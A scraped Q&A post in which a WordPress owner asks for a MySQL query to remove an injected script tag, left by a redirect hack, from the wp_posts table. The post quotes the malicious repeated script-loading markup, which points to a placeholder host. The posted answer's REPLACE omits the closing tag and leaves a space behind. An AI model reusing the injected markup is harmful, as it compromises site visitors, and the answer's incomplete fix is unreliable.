最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

posts - MYSQL: Create SQL query to search for string and replace

programmeradmin3浏览0评论

I need to delete a malicious string from 2176 fields following a url redirect hack. I'm pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.

The details are

  • Database is: Wordpress
  • Table is: wp_posts
  • Column is: post_content
  • string is: <script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>

What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.

I need to delete a malicious string from 2176 fields following a url redirect hack. I'm pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.

The details are

  • Database is: Wordpress
  • Table is: wp_posts
  • Column is: post_content
  • string is: <script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>

What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.

Share Improve this question asked Dec 29, 2020 at 17:53 Jack Borg-CardonaJack Borg-Cardona 111 bronze badge
Add a comment  | 

1 Answer 1

Reset to default 1

Below SQL query replaces the malicious script with a blank:

UPDATE wp_posts
SET post_content = REPLACE(post_content, '<script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'>', ' ')
发布评论

评论列表(0)

  1. 暂无评论